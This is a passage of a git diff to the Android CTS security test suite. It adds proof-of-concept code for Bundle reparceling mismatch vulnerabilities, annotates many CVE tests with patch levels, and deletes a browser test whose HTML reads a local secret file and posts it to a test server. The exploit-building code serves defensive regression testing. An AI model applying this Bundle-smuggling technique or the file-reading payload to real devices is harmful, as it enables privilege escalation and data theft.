+                parcel.writeInt(0);
+
+                parcel.writeInt(VAL_INTEGER);
+                parcel.writeInt(0);
+                parcel.writeInt(VAL_BUNDLE);
+                parcel.writeBundle(postReSerialize);
+
+                writeBundleSkippingHeaders(parcel, preReSerialize);
+
+                parcel.setDataPosition(0);
+                Bundle bundle = new Bundle();
+                parcelledDataField.set(bundle, parcel);
+                return bundle;
+            }
+        };
+
+        testAmbiguator(ambiguator);
+    }
+
+    /*
+     * b/71714464
+     */
+    @SecurityTest(minPatchLevel = "2018-04")
     public void test_android_CVE_2017_13287() throws Exception {
+        Ambiguator ambiguator = new Ambiguator() {
+            @Override
+            public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
+                Random random = new Random(1234);
+                int minHash = 0;
+                for (String s : preReSerialize.keySet()) {
+                    minHash = Math.min(minHash, s.hashCode());
+                }
+                for (String s : postReSerialize.keySet()) {
+                    minHash = Math.min(minHash, s.hashCode());
+                }
+
+                String key;
+                int keyHash;
+
+                do {
+                    key = randomString(random);
+                    keyHash = key.hashCode();
+                } while (keyHash >= minHash);
+
+                padBundle(postReSerialize, preReSerialize.size() + 1, minHash, random);
+                padBundle(preReSerialize, postReSerialize.size() - 1, minHash, random);
+
+                String key2;
+                int key2Hash;
+                do {
+                    key2 = makeStringToInject(postReSerialize, random);
+                    key2Hash = key2.hashCode();
+                } while (key2Hash >= minHash || key2Hash <= keyHash);
+
+
+                Parcel parcel = Parcel.obtain();
+
+                parcel.writeInt(preReSerialize.size() + 2);
+                parcel.writeString(key);
+
+                parcel.writeInt(VAL_PARCELABLE);
+                parcel.writeString("com.android.internal.widget.VerifyCredentialResponse");
+
+                parcel.writeInt(0);
+                parcel.writeInt(0);
+
+                parcel.writeString(key2);
+                parcel.writeInt(VAL_NULL);
+
+                writeBundleSkippingHeaders(parcel, preReSerialize);
+
+                parcel.setDataPosition(0);
+                Bundle bundle = new Bundle();
+                parcelledDataField.set(bundle, parcel);
+                return bundle;
+            }
+        };
+
+        testAmbiguator(ambiguator);
+    }
+
+    private void testAmbiguator(Ambiguator ambiguator) {
         Bundle bundle;
-        {
-            Bundle verifyMe = new Bundle();
-            verifyMe.putString("cmd", "something_safe");
-            Bundle useMe = new Bundle();
-            useMe.putString("cmd", "replaced_thing");
-            Ambiguator a = new Ambiguator() {
-                @Override
-                public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
-                    Random random = new Random(1234);
-                    int minHash = 0;
-                    for (String s : preReSerialize.keySet()) {
-                        minHash = Math.min(minHash, s.hashCode());
-                    }
-                    for (String s : postReSerialize.keySet()) {
-                        minHash = Math.min(minHash, s.hashCode());
-                    }
+        Bundle verifyMe = new Bundle();
+        verifyMe.putString("cmd", "something_safe");
+        Bundle useMe = new Bundle();
+        useMe.putString("cmd", "replaced_thing");
 
-                    String key;
-                    int keyHash;
+        try {
+            bundle = ambiguator.make(verifyMe, useMe);
 
-                    do {
-                        key = randomString(random);
-                        keyHash = key.hashCode();
-                    } while (keyHash >= minHash);
+            bundle = reparcel(bundle);
+            String value1 = bundle.getString("cmd");
+            bundle = reparcel(bundle);
+            String value2 = bundle.getString("cmd");
 
-                    padBundle(postReSerialize, preReSerialize.size() + 1, minHash, random);
-                    padBundle(preReSerialize, postReSerialize.size() - 1, minHash, random);
-
-                    String key2;
-                    int key2Hash;
-                    do {
-                        key2 = makeStringToInject(postReSerialize, random);
-                        key2Hash = key2.hashCode();
-                    } while (key2Hash >= minHash || key2Hash <= keyHash);
-
-
-                    Parcel parcel = Parcel.obtain();
-
-                    parcel.writeInt(preReSerialize.size() + 2);
-                    parcel.writeString(key);
-
-                    parcel.writeInt(VAL_PARCELABLE);
-                    parcel.writeString("com.android.internal.widget.VerifyCredentialResponse");
-
-                    parcel.writeInt(0);
-                    parcel.writeInt(0);
-
-                    parcel.writeString(key2);
-                    parcel.writeInt(VAL_NULL);
-
-                    writeBundleSkippingHeaders(parcel, preReSerialize);
-
-                    parcel.setDataPosition(0);
-                    Bundle bundle = new Bundle();
-                    parcelledDataField.set(bundle, parcel);
-                    return bundle;
-                }
-
-                @Override
-                protected String makeStringToInject(Bundle stuffToInject, Random random) {
-                    Parcel p = Parcel.obtain();
-                    p.writeInt(0);
-                    p.writeInt(0);
-
-                    Parcel p2 = Parcel.obtain();
-                    stuffToInject.writeToParcel(p2, 0);
-                    int p2Len = p2.dataPosition() - BUNDLE_SKIP;
-
-                    for (int i = 0; i < p2Len / 4 + 4; i++) {
-                        int paddingVal;
-                        if (i > 3) {
-                            paddingVal = i;
-                        } else {
-                            paddingVal = random.nextInt();
-                        }
-                        p.writeInt(paddingVal);
-
-                    }
-
-                    p.appendFrom(p2, BUNDLE_SKIP, p2Len);
-                    p2.recycle();
-
-                    while (p.dataPosition() % 8 != 0) p.writeInt(0);
-                    for (int i = 0; i < 2; i++) {
-                        p.writeInt(0);
-                    }
-
-                    int len = p.dataPosition() / 2 - 1;
-                    p.writeInt(0); p.writeInt(0);
-                    p.setDataPosition(0);
-                    p.writeInt(len);
-                    p.writeInt(len);
-                    p.setDataPosition(0);
-                    String result = p.readString();
-                    p.recycle();
-                    return result;
-                }
-            };
-            bundle = a.make(verifyMe, useMe);
-        }
-
-        bundle = reparcel(bundle);
-        String value1 = bundle.getString("cmd");
-        bundle = reparcel(bundle);
-        String value2 = bundle.getString("cmd");
-
-        if (!value1.equals(value2)) {
-            fail("String " + value1 + "!=" + value2 + " after reparceling.");
+            if (!value1.equals(value2)) {
+                fail("String " + value1 + "!=" + value2 + " after reparceling.");
+            }
+        } catch (Exception e) {
         }
     }
 
@@ -159,11 +483,27 @@
 
     static abstract class Ambiguator {
 
-        protected static final int VAL_PARCELABLE = 4;
         protected static final int VAL_NULL = -1;
+        protected static final int VAL_INTEGER = 1;
+        protected static final int VAL_BUNDLE = 3;
+        protected static final int VAL_PARCELABLE = 4;
+        protected static final int VAL_OBJECTARRAY = 17;
+        protected static final int VAL_INTARRAY = 18;
+        protected static final int VAL_LONGARRAY = 19;
         protected static final int BUNDLE_SKIP = 12;
 
-        protected final Field parcelledDataField;
+        protected static final int PROCSTATS_MAGIC = 0x50535454;
+        protected static final int PROCSTATS_PARCEL_VERSION = 21;
+        protected static final int PROCSTATS_STATE_COUNT = 14;
+        protected static final int PROCSTATS_ADJ_COUNT = 8;
+        protected static final int PROCSTATS_PSS_COUNT = 7;
+        protected static final int PROCSTATS_SYS_MEM_USAGE_COUNT = 16;
+        protected static final int PROCSTATS_SPARSE_MAPPING_TABLE_ARRAY_SIZE = 4096;
+
+        protected static final int BUNDLE_MAGIC = 0x4C444E42;
+        protected static final int INNER_BUNDLE_PADDING = 1;
+
+        protected Field parcelledDataField;
 
         public Ambiguator() throws Exception {
             parcelledDataField = BaseBundle.class.getDeclaredField("mParcelledData");
@@ -172,7 +512,44 @@
 
         abstract public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception;
 
-        abstract protected String makeStringToInject(Bundle stuffToInject, Random random);
+        protected String makeStringToInject(Bundle stuffToInject, Random random) {
+            Parcel p = Parcel.obtain();
+            p.writeInt(0);
+            p.writeInt(0);
+
+            Parcel p2 = Parcel.obtain();
+            stuffToInject.writeToParcel(p2, 0);
+            int p2Len = p2.dataPosition() - BUNDLE_SKIP;
+
+            for (int i = 0; i < p2Len / 4 + 4; i++) {
+                int paddingVal;
+                if (i > 3) {
+                    paddingVal = i;
+                } else {
+                    paddingVal = random.nextInt();
+                }
+                p.writeInt(paddingVal);
+
+            }
+
+            p.appendFrom(p2, BUNDLE_SKIP, p2Len);
+            p2.recycle();
+
+            while (p.dataPosition() % 8 != 0) p.writeInt(0);
+            for (int i = 0; i < 2; i++) {
+                p.writeInt(0);
+            }
+
+            int len = p.dataPosition() / 2 - 1;
+            p.writeInt(0); p.writeInt(0);
+            p.setDataPosition(0);
+            p.writeInt(len);
+            p.writeInt(len);
+            p.setDataPosition(0);
+            String result = p.readString();
+            p.recycle();
+            return result;
+        }
 
         protected static void writeBundleSkippingHeaders(Parcel parcel, Bundle bundle) {
             Parcel p2 = Parcel.obtain();
diff --git a/tests/tests/security/src/android/security/cts/AslrTest.java b/tests/tests/security/src/android/security/cts/AslrTest.java
index bed8e32..f248a40 100644
--- a/tests/tests/security/src/android/security/cts/AslrTest.java
+++ b/tests/tests/security/src/android/security/cts/AslrTest.java
@@ -20,6 +20,7 @@
 import junit.framework.TestCase;
 
 import android.os.ParcelFileDescriptor;
+import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.SecurityTest;
 import android.util.Log;
 import java.io.BufferedReader;
@@ -104,6 +105,7 @@
         testMappingEntropy("/system/bin/");
     }
 
+    @AppModeFull // /system/bin/cat is not accessible to instant apps
     public void testOneExecutableIsPie() throws IOException {
         assertTrue(ReadElf.read(new File("/system/bin/cat")).isPIE());
     }
diff --git a/tests/tests/security/src/android/security/cts/AudioSecurityTest.java b/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
index 3495191..56cff46 100644
--- a/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
+++ b/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
@@ -90,6 +90,7 @@
     }
 
     // b/28173666
+    @SecurityTest(minPatchLevel = "2016-07")
     public void testAllEffectsGetParameterAttemptOffload_CVE_2016_3745() throws Exception {
         testAllEffects("get parameter attempt offload",
                 new TestEffect() {
@@ -103,6 +104,7 @@
     // b/32438594
     // b/32624850
     // b/32635664
+    @SecurityTest(minPatchLevel = "2017-03")
     public void testAllEffectsGetParameter2AttemptOffload_CVE_2017_0398() throws Exception {
         testAllEffects("get parameter2 attempt offload",
                 new TestEffect() {
@@ -114,6 +116,7 @@
     }
 
     // b/30204301
+    @SecurityTest(minPatchLevel = "2016-10")
     public void testAllEffectsSetParameterAttemptOffload_CVE_2016_3924() throws Exception {
         testAllEffects("set parameter attempt offload",
                 new TestEffect() {
@@ -125,6 +128,7 @@
     }
 
     // b/37536407
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testAllEffectsEqualizer_CVE_2017_0401() throws Exception {
         testAllEffects("equalizer get parameter name",
                 new TestEffect() {
@@ -351,6 +355,7 @@
     private static final int VISUALIZER_PARAM_CAPTURE_SIZE = 0;
 
     // b/31781965
+    @SecurityTest(minPatchLevel = "2017-03")
     public void testVisualizerCapture_CVE_2017_0396() throws Exception {
         // Capture params
         final int CAPTURE_SIZE = 1 << 24; // 16MB seems to be large enough to cause a SEGV.
diff --git a/tests/tests/security/src/android/security/cts/BannedFilesTest.java b/tests/tests/security/src/android/security/cts/BannedFilesTest.java
index 8847a84..46b5ba9 100644
--- a/tests/tests/security/src/android/security/cts/BannedFilesTest.java
+++ b/tests/tests/security/src/android/security/cts/BannedFilesTest.java
@@ -148,6 +148,24 @@
         assertNotSetugid("/vendor/bin/tcpdump-arm");
     }
 
+    /**
+     * enforce that the xaac codec has not been included on the device
+     */
+    public void testNoXaac() {
+        String libraries[] = new String[] {
+            "libstagefright_soft_xaacdec.so", "libstagefright_soft_c2xaacdec.so"
+        };
+        String directories[] = new String[] {
+            "/system/lib", "/system/lib64", "/vendor/lib", "/vendor/lib64"
+        };
+        for (String f : libraries) {
+            for (String d : directories) {
+                String fullPath = d + "/" + f;
+                assertFalse(fullPath, new File(fullPath).exists());
+            }
+        }
+    }
+
     private static void assertNotSetugid(String file) {
         FileUtils.FileStatus fs = new FileUtils.FileStatus();
         if (!FileUtils.getFileStatus(file, fs, false)) {
diff --git a/tests/tests/security/src/android/security/cts/BigRleTest.java b/tests/tests/security/src/android/security/cts/BigRleTest.java
index f3c2302..bcfb1df 100644
--- a/tests/tests/security/src/android/security/cts/BigRleTest.java
+++ b/tests/tests/security/src/android/security/cts/BigRleTest.java
@@ -22,6 +22,7 @@
 
 import java.io.InputStream;
 
+import android.platform.test.annotations.SecurityTest;
 import android.security.cts.R;
 
 public class BigRleTest extends AndroidTestCase {
@@ -31,6 +32,7 @@
      * This image reports that its encoded length is over 4 gigs. Prior to fixing issue 33251605,
      * we attempted to allocate space for all the encoded data at once, resulting in OOM.
      */
+    @SecurityTest(minPatchLevel = "2017-04")
     public void test_android_bug_33251605() {
         InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_33251605);
         Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
diff --git a/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java b/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
index 1fa0b65..ce28a7a 100644
--- a/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
+++ b/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
@@ -33,6 +33,7 @@
      * to heap corruption by trying to open a crafted PNG image with incorrect
      * npTc chunk.
      */
+    @SecurityTest(minPatchLevel = "2015-01")
     public void testNinePatchHeapOverflow() throws Exception {
         InputStream inStream = new BufferedInputStream(mContext.getResources().openRawResource(
                 R.raw.cve_2015_1532));
@@ -40,13 +41,14 @@
 
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-07")
     public void testPocCVE_2017_0691() throws Exception {
         InputStream exploitImage = new BufferedInputStream(mContext.getResources().openRawResource(
                 R.raw.cve_2017_0691));
         BitmapFactory.decodeStream(exploitImage);
     }
 
+    @SecurityTest(minPatchLevel = "2017-12")
     public void test_b65290323() throws Exception {
         InputStream exploitImage = new BufferedInputStream(mContext.getResources().openRawResource(
                 R.raw.b65290323));
diff --git a/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java b/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
index 2272dc0..8ffe485 100644
--- a/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
+++ b/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
@@ -58,6 +58,7 @@
     /**
      * Verifies that decoding a corrupt ICO does crash.
      */
+    @SecurityTest(minPatchLevel = "2017-09")
     public void test_android_bug_38116746() {
         FileDescriptor exploitImage = getResource(R.raw.bug_38116746);
         try {
@@ -73,6 +74,7 @@
     /**
      * Verifies that decoding a corrupt BMP does crash.
      */
+    @SecurityTest(minPatchLevel = "2017-08")
     public void test_android_bug_37627194() {
         FileDescriptor exploitImage = getResource(R.raw.bug_37627194);
         try {
diff --git a/tests/tests/security/src/android/security/cts/BitmapTest.java b/tests/tests/security/src/android/security/cts/BitmapTest.java
index 910e3e1..e7a326fe 100644
--- a/tests/tests/security/src/android/security/cts/BitmapTest.java
+++ b/tests/tests/security/src/android/security/cts/BitmapTest.java
@@ -34,6 +34,7 @@
      * OOME is more appropriate.
      */
     @Test(expected=OutOfMemoryError.class)
+    @SecurityTest(minPatchLevel = "2018-01")
     public void test_33846679() {
         // This size is based on the max size possible in a GIF file,
         // which might be passed to createBitmap from a Java decoder.
diff --git a/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java b/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
new file mode 100644
index 0000000..6a4990f
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts;
+
+import org.junit.Test;
+
+import android.content.ComponentName;
+import android.content.Intent;
+import android.platform.test.annotations.SecurityTest;
+import android.test.AndroidTestCase;
+
+@SecurityTest
+public class BluetoothIntentsTest extends AndroidTestCase {
+  /**
+   * b/35258579
+   */
+  @SecurityTest
+  public void testAcceptIntent() {
+    genericIntentTest("ACCEPT");
+  }
+
+  /**
+   * b/35258579
+   */
+  @SecurityTest
+  public void testDeclineIntent() {
+      genericIntentTest("DECLINE");
+  }
+
+  private static final String prefix = "android.btopp.intent.action.";
+  private void genericIntentTest(String action) throws SecurityException {
+    try {
+      Intent should_be_protected_broadcast = new Intent();
+      should_be_protected_broadcast.setComponent(
+          new ComponentName("com.android.bluetooth",
+            "com.android.bluetooth.opp.BluetoothOppReceiver"));
+      should_be_protected_broadcast.setAction(prefix + action);
+      mContext.sendBroadcast(should_be_protected_broadcast);
+    }
+    catch (SecurityException e) {
+      return;
+    }
+
+    throw new SecurityException("An " + prefix + action +
+        " intent should not be broadcastable except by the system (declare " +
+        " as protected-broadcast in manifest)");
+  }
+}
diff --git a/tests/tests/security/src/android/security/cts/BrowserTest.java b/tests/tests/security/src/android/security/cts/BrowserTest.java
deleted file mode 100644
index de8763e..0000000
--- a/tests/tests/security/src/android/security/cts/BrowserTest.java
+++ /dev/null
@@ -1,276 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.content.pm.ResolveInfo;
-import android.net.Uri;
-import android.os.StrictMode;
-import android.platform.test.annotations.SecurityTest;
-import android.test.AndroidTestCase;
-import android.webkit.cts.CtsTestServer;
-
-import org.apache.http.HttpEntity;
-
-import java.io.File;
-import java.io.FileOutputStream;
-import java.nio.charset.StandardCharsets;
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Test file for browser security issues.
- */
-@SecurityTest
-public class BrowserTest extends AndroidTestCase {
-    private CtsTestServer mWebServer;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mWebServer = new CtsTestServer(mContext);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        mWebServer.shutdown();
-        super.tearDown();
-    }
-
-    /**
-     * Verify that no state is preserved across multiple intents sent
-     * to the browser when we reuse a browser tab. If such data is preserved,
-     * then browser is vulnerable to a data stealing attack.
-     *
-     * In this test, we send two intents to the Android browser. The first
-     * intent sets document.b2 to 1.  The second intent attempts to read
-     * document.b2.  If the read is successful, then state was preserved
-     * across the two intents.
-     *
-     * If state is preserved across browser tabs, we ask
-     * the browser to send an HTTP request to our local server.
-     *
-     * See http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-2357 for
-     * vulnerability information for this test case.
-     *
-     * See commits  096bae248453abe83cbb2e5a2c744bd62cdb620b and
-     * afa4ab1e4c1d645e34bd408ce04cadfd2e5dae1e for patches for above vulnerability.
-     */
-    public void testTabReuse() throws InterruptedException {
-        List<Intent> intents = getAllJavascriptIntents();
-        for (Intent i : intents) {
-            mContext.startActivity(i);
-            mContext.startActivity(i);
-
-            /*
-             * Wait 5 seconds for the browser to contact the server, but
-             * fail fast if we detect the bug
-             */
-            for (int j = 0; j < 5; j++) {
-                assertEquals("javascript handler preserves state across "
-                        + "multiple intents. Vulnerable to CVE-2011-2357?",
-                        0, mWebServer.getRequestCount());
-                Thread.sleep(1000);
-            }
-        }
-    }
-
-    /**
-     * Verify that no state is preserved across multiple intents sent
-     * to the browser when we run out of usable browser tabs.  If such data is
-     * preserved, then browser is vulnerable to a data stealing attack.
-     *
-     * In this test, we send 20 intents to the Android browser.  Each
-     * intent sets the variable "document.b1" equal to 1.  If we are able
-     * read document.b1 in subsequent invocations of the intent, then
-     * we know state was preserved.  In that case, we send a message
-     * to the local server, recording this fact.
-     *
-     * Our test fails if the local server ever receives an HTTP request.
-     *
-     * See http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-2357 for
-     * vulnerability information this test case.
-     *
-     * See commits  096bae248453abe83cbb2e5a2c744bd62cdb620b and
-     * afa4ab1e4c1d645e34bd408ce04cadfd2e5dae1e for patches for above vulnerability.
-     */
-    public void testTabExhaustion() throws InterruptedException {
-        List<Intent> intents = getAllJavascriptIntents();
-        for (Intent i : intents) {
-            i.addFlags(Intent.FLAG_ACTIVITY_BROUGHT_TO_FRONT);
-
-            /*
-             * Send 20 intents.  20 is greater than the maximum number
-             * of tabs allowed by the Android browser.
-             */
-            for (int j = 0; j < 20; j++) {
-                mContext.startActivity(i);
-            }
-
-            /*
-             * Wait 5 seconds for the browser to contact the server, but
-             * fail fast if we detect the bug
-             */
-            for (int j = 0; j < 5; j++) {
-                assertEquals("javascript handler preserves state across "
-                        + "multiple intents. Vulnerable to CVE-2011-2357?",
-                        0, mWebServer.getRequestCount());
-                Thread.sleep(1000);
-            }
-        }
-    }
-
-    /**
-     * See Bug 6212665 for detailed information about this issue.
-     */
-    public void testBrowserPrivateDataAccess() throws Throwable {
-        // Yucky workaround to let us launch file:// Uris
-        StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder().build());
-
-        // Create a list of all intents for http display. This includes all browsers.
-        List<Intent> intents = createAllIntents(Uri.parse("http://www.google.com"));
-        String action = "\"" + mWebServer.getBaseUri() + "/\"";
-        // test each browser
-        for (Intent intent : intents) {
-            // reset state
-            mWebServer.resetRequestState();
-
-            // define target file, which is supposedly protected from this app
-            final File secretFile = exposeFile(stageFile("target.txt", "SECRETS!"));
-
-            String html =
-                "<html><body>\n" +
-                "  <form name=\"myform\" action=" + action + " method=\"post\">\n" +
-                "  <input type='text' name='val'/>\n" +
-                "  <a href=\"javascript :submitform()\">Search</a></form>\n" +
-                "<script>\n" +
-                "  var client = new XMLHttpRequest();\n" +
-                "  client.open('GET', '" + Uri.fromFile(secretFile) + "');\n" +
-                "  client.onreadystatechange = function() {\n" +
-                "  if(client.readyState == 4) {\n" +
-                "    myform.val.value = client.responseText;\n" +
-                "    document.myform.submit(); \n" +
-                "  }}\n" +
-                "  client.send();\n" +
-                "</script></body></html>\n";
-
-            // create a local HTML to access protected file
-            final File htmlFile = exposeFile(stageFile("jsfileaccess.html", html));
-
-            // do a file request
-            intent.setData(Uri.fromFile(htmlFile));
-
-            try {
-                mContext.startActivity(intent);
-            } catch (SecurityException e) {
-                // If browser activity cannot be started, skip the test.
-                continue;
-            }
-
-            /*
-             * Wait 5 seconds for the browser to contact the server, but
-             * fail fast if we detect the bug
-             */
-            for (int j = 0; j < 5; j++) {
-                // it seems that even when cross-origin policy prevents a file
-                // access, browser is still doing a POST sometimes, but it just
-                // sends the query part and no private data. Make sure this does not
-                // cause a false alarm.
-                if (mWebServer.getRequestEntities().size() > 0) {
-                    int len = 0;
-                    for (HttpEntity entity : mWebServer.getRequestEntities()) {
-                        len += entity.getContentLength();
-                    }
-                    final int queryLen = "val=".length();
-                    assertTrue("Failed preventing access to private data", len <= queryLen);
-                }
-                Thread.sleep(1000);
-            }
-        }
-    }
-
-    private File stageFile(String name, String contents) throws Exception {
-        final File file = mContext.getFileStreamPath(name);
-        try (FileOutputStream out = new FileOutputStream(file)) {
-            out.write(contents.getBytes(StandardCharsets.UTF_8));
-        }
-        return file;
-    }
-
-    private File exposeFile(File file) throws Exception {
-        file.setReadable(true, false);
-        file.setReadable(true, true);
-
-        File dir = file.getParentFile();
-        do {
-            dir.setExecutable(true, false);
-            dir.setExecutable(true, true);
-            dir = dir.getParentFile();
-        } while (dir != null);
-
-        return file;
-    }
-
-    /**
-     * This method returns a List of explicit Intents for all programs
-     * which handle javascript URIs.
-     */
-    private List<Intent> getAllJavascriptIntents() {
-        String localServerUri = mWebServer.getBaseUri();
-        String varName = "document.b" + System.currentTimeMillis();
-
-        /*
-         * Build a javascript URL containing the following (without spaces and newlines)
-         * <code>
-         *    if (document.b12345 == 1) {
-         *       document.location = "http://localhost:1234/";
-         *    }
-         *    document.b12345 = 1;
-         * </code>
-         */
-        String javascript = "javascript:if(" + varName + "==1){"
-                + "document.location=\"" + localServerUri + "\""
-                + "};"
-                + varName + "=1";
-
-        return createAllIntents(Uri.parse(javascript));
-    }
-
-    /**
-     * Create intents for all activities that can display the given URI.
-     */
-    private List<Intent> createAllIntents(Uri uri) {
-
-        Intent implicit = new Intent(Intent.ACTION_VIEW);
-        implicit.setData(uri);
-
-        /* convert our implicit Intent into multiple explicit Intents */
-        List<Intent> retval = new ArrayList<Intent>();
-        PackageManager pm = mContext.getPackageManager();
-        List<ResolveInfo> list = pm.queryIntentActivities(implicit, PackageManager.GET_META_DATA);
-        for (ResolveInfo i : list) {
-            Intent explicit = new Intent(Intent.ACTION_VIEW);
-            explicit.setClassName(i.activityInfo.packageName, i.activityInfo.name);
-            explicit.setData(uri);
-            explicit.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-            retval.add(explicit);
-        }
-
-        return retval;
-    }
-}
diff --git a/tests/tests/security/src/android/security/cts/CharDeviceTest.java b/tests/tests/security/src/android/security/cts/CharDeviceTest.java
deleted file mode 100644
index 2801672..0000000
--- a/tests/tests/security/src/android/security/cts/CharDeviceTest.java
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-
-import junit.framework.TestCase;
-
-@SecurityTest
-public class CharDeviceTest extends TestCase {
-
-    static {
-        System.loadLibrary("ctssecurity_jni");
-    }
-
-    /**
-     * Detect Exynos 4xxx rooting vuln.  CVE-2012-6422.
-     *
-     * Reference: http://forum.xda-developers.com/showthread.php?t=2048511
-     */
-    public void testExynosRootingVuln() throws Exception {
-        assertTrue(doExynosWriteTest());
-    }
-
-    /**
-     * Detect Exynos 4xxx kernel memory leak to userspace. CVE-2012-6422.
-     *
-     * Reference: http://forum.xda-developers.com/showthread.php?t=2048511
-     */
-    public void testExynosKernelMemoryRead() throws Exception {
-        assertTrue(doExynosReadTest());
-    }
-
-    /**
-     * @return true iff the device does not have the exynos rooting
-     *     vulnerability.  If the device has the rooting vulnerability,
-     *     this method will cause the device to crash and this function
-     *     will never return.
-     */
-    private static native boolean doExynosWriteTest();
-
-    /**
-     * @return true iff the device does not provide read-access to kernel memory
-     */
-    private static native boolean doExynosReadTest();
-}
diff --git a/tests/tests/security/src/android/security/cts/DecodeTest.java b/tests/tests/security/src/android/security/cts/DecodeTest.java
index 0e92310..3314166 100644
--- a/tests/tests/security/src/android/security/cts/DecodeTest.java
+++ b/tests/tests/security/src/android/security/cts/DecodeTest.java
@@ -32,7 +32,7 @@
      * Prior to fixing bug 34778578, decoding this file would crash. Instead, it should fail to
      * decode.
      */
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-07")
     public void test_android_bug_34778578() {
         InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_34778578);
         Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
@@ -45,7 +45,7 @@
      * Prior to fixing bug 67381469, decoding this file would crash. Instead, it should fail to
      * decode.
      */
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-12")
     public void test_android_bug_67381469() {
         InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_67381469);
         Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
diff --git a/tests/tests/security/src/android/security/cts/EffectBundleTest.java b/tests/tests/security/src/android/security/cts/EffectBundleTest.java
index ae55494..d1baf37 100644
--- a/tests/tests/security/src/android/security/cts/EffectBundleTest.java
+++ b/tests/tests/security/src/android/security/cts/EffectBundleTest.java
@@ -48,6 +48,7 @@
     private static final int intSize = 4;
 
     //Testing security bug: 32436341
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testEqualizer_getParamCenterFreq() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -57,6 +58,7 @@
     }
 
     //Testing security bug: 32588352
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testEqualizer_getParamCenterFreq_long() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -65,6 +67,7 @@
     }
 
     //Testing security bug: 32438598
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testEqualizer_getParamBandLevel() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -73,6 +76,7 @@
     }
 
     //Testing security bug: 32584034
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testEqualizer_getParamBandLevel_long() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -81,6 +85,7 @@
     }
 
     //Testing security bug: 32247948
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testEqualizer_getParamFreqRange() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -90,6 +95,7 @@
     }
 
     //Testing security bug: 32588756
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testEqualizer_getParamFreqRange_long() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -99,6 +105,7 @@
     }
 
     //Testing security bug: 32448258
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testEqualizer_getParamPresetName() throws Exception {
         if (!hasEqualizer()) {
             return;
@@ -107,6 +114,7 @@
     }
 
     //Testing security bug: 32588016
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testEqualizer_getParamPresetName_long() throws Exception {
         if (!hasEqualizer()) {
             return;
